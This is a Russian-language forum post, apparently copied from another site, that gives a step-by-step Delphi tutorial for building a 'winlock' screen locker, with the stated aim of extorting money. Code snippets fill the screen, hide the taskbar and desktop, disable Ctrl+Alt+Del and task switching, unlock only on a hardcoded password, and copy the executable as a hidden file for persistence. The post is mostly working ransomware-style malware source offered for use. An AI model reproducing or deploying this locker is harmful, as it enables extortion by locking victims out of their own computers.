Создаём сильный винлок и выпрашиваем деньги))))

[Я песал с ашыбками]

Я песал с ашыбками отредактировано

ещо да таво как ето стало МС

Чтобы написать данную программу нужно:

1. Delphi.
2. 2 руки.
3. Голова.
4. 500 монет(или 2 дня) (которые в конце урока вы отошлёте мне)
   Запускаем Delphi, кидаем на форму TImage (Чтобы загрузить картинку блокиратора) TEdit, TButton.

Начинаем кодинг!
Код:

1

procedure TForm1.CreateParams(var T : TCreateParams);
begin
inherited Createparams(T);
with T do
Style := (Style or WS_POPUP) and not WS_DLGFRAME;
end;

Выше написанный код, не обязателен.

Создаем событие OnActivate у Form1.
Пишем это:

Код:

2

procedure TForm1.FormActivate(Sender: TObject);
var
hTaskBar : THandle;
begin
Edit1.Clear;
//исключаем из списка ALT+CTRL+DEL
ShowWindow (Application.handle, SW_HIDE);
//Размер формы:=Размеру Экрана
form1.Height:=screen.Height;
form1.Width:=screen.Width;
//Отключаем ALT+CTRL+DEl ALT+TAB CTRL+ESC
SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,0,0);
//Убираем Панель задач
hTaskbar := FindWindow(‘Shell_TrayWnd’, Nil);
ShowWindow(hTaskBar, SW_HIDE);
//Убираем Иконки с рабочего стола
ShowWindow(FindWindow(nil,’Program Manager’),SW_HIDE);
end;
Ставим вводные символы в TEdit под звездочки.
Код:
procedure TForm1.Edit1Change(Sender: TObject);
begin
Edit1.PasswordChar:=’*';
end;

Можно конечно в Object Inspector выставить данный параметр, но буду придерживаться оригинальной статье.

Код:

3

procedure TForm1.Button1Click(Sender: TObject);
var
hTaskBar : THandle;
Password:string[10];
begin
Password:=edit1.text;
If (Password=’grabberz.com′) then
begin
//включаем alt+ctrl+del alt+tab ctrl+esc
SystemParametersInfo(SPI_SCREENSAVERRUNNING,0,0,0);
//Показываем иконки на рабочем столе
ShowWindow(FindWindow(nil,’Program Manager’),SW_SHOW);
//Показываем Панель Задач
hTaskbar := FindWindow(‘Shell_TrayWnd’, Nil);
ShowWindow(hTaskBar, SW_SHOWNORMAL);
//Закрываем прогу
Close;
end

Делаем проверку на правильность пароля:

Код:

4

else
begin
Messagedlg(‘Неверный пасс для разблокировки… введите коректный пасс…’,mterror,[mbok],0);
Edit1.Clear;
end;

Все. Как пишет автор оригинальной статьи, чтобы добавить программу в автозагрузку надо пользоваться этим:
Код:

5

CopyFile(PChar(ParamStr(0)), PChar('C:'+ 'название винлока (любое название).exe'),True);
SetFileAttributes('C:\название винлока (любое название).exe', faHidden);

Автор статьи не я, я лишь исправил некоторые вещи, и исправил текст.
Ответственности за код не несу.

Добавлено через 01:30 мин.

Результат мучений

Добавлено через 02:32 мин.
Если понравилась статейка можна и + нажать)

[Disazakon]

Disazakon отредактировано

grabberz.com
копипаст еще и монет просит